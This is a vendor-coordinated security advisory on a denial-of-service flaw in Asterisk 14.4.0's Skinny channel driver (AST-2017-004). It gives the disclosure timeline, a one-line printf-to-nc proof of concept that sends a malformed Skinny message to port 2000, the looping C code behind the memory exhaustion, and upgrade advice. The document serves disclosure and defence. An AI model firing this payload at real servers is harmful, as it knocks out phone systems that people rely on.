Asterisk 14.4.0 Skinny Denial Of Service

`# Asterisk Skinny memory exhaustion vulnerability leads to DoS  
  
- Authors:   
- Alfred Farrugia <[email protected]>  
- Sandro Gauci <[email protected]>  
- Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled  
- References: AST-2017-004  
- Enable Security Advisory:  
<https://github.com/EnableSecurity/advisories/tree/master/ES2017-03-asterisk-chan-skinny-crash>  
- Vendor Advisory:  
<http://downloads.asterisk.org/pub/security/AST-2017-004.html>  
- Timeline:  
- Report date: 2017-04-13  
- Digium confirmed issue: 2017-04-13  
- Digium patch and advisory: 2017-05-19  
- Enable Security advisory: 2017-05-23  
  
## Description  
  
Sending one malformed Skinny message to port 2000 will exhaust  
Asterisk's memory resulting in a crash.  
  
## Impact  
  
Abuse of this issue allows attackers to crash Asterisk when Skinny is  
exposed to attackers.  
  
## How to reproduce the issue  
  
Start Asterisk and make sure the `chan_skinny` module is loaded. Then  
execute:  
  
printf  
"\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39"  
| nc localhost 2000  
  
After a few seconds Asterisk will crash since it will be using all of  
the available memory. Different malformed strings will crash the server  
faster or slower depending on the amount by which `req->data` is  
extended.  
  
  
The malformed message will throw the following errors in Asterisk:  
  
[Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587  
skinny_session: Partial data received, waiting (35 bytes read of  
52)  
  
while it will loop forever. This is due to the following code:  
  
```c  
while (1) {   
if ((res = read(s->fd, ((char*)&req->data)+bytesread,  
dlen-bytesread)) < 0) {  
ast_log(LOG_WARNING, "Data read() returned error: %s\n",  
strerror(errno));  
break;  
}  
bytesread += res;  
if (bytesread >= dlen) {  
if (res < bytesread) {  
ast_log(LOG_WARNING, "Rest of partial data  
received.\n");  
}  
if (bytesread > dlen) {  
ast_log(LOG_WARNING, "Client sent wrong amount  
of data (%d), expected (%d).\n", bytesread,  
dlen);  
res = -1;  
}  
break;  
}  
  
ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes  
read of %d)\n", bytesread, dlen);  
if (sched_yield() < 0) {  
ast_log(LOG_WARNING, "Data yield() returned error:  
%s\n", strerror(errno));  
res = -1;  
break;  
}  
}  
```  
  
The reason appears to be that `res` always returns 0 so `bytesread` will  
not grow and the loop never breaks. However `req->data` will continue to  
expand until all the memory is exhausted.   
  
This issue was found through basic manual testing, before attempting to  
start fuzzing `chan_skinny`.  
  
![Memory usage while Asterisk receives a malformed skinny  
message](mem-graph.png)  
  
## Solutions and recommendations  
  
Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or  
13.13-cert4. Enable Security highly recommends disabling this module.  
  
## About Enable Security  
  
[Enable Security](https://www.enablesecurity.com) provides Information  
Security services, including Penetration Testing, Research and  
Development, to help protect client networks and applications against  
online attackers.  
  
## Disclaimer  
  
The information in the advisory is believed to be accurate at the time  
of publishing based on currently available information. Use of the  
information constitutes acceptance for use in an AS IS condition. There  
are no warranties with regard to this information. Neither the author  
nor the publisher accepts any liability for any direct, indirect, or  
consequential loss or damage arising from use of, or reliance on, this  
information.  
  
`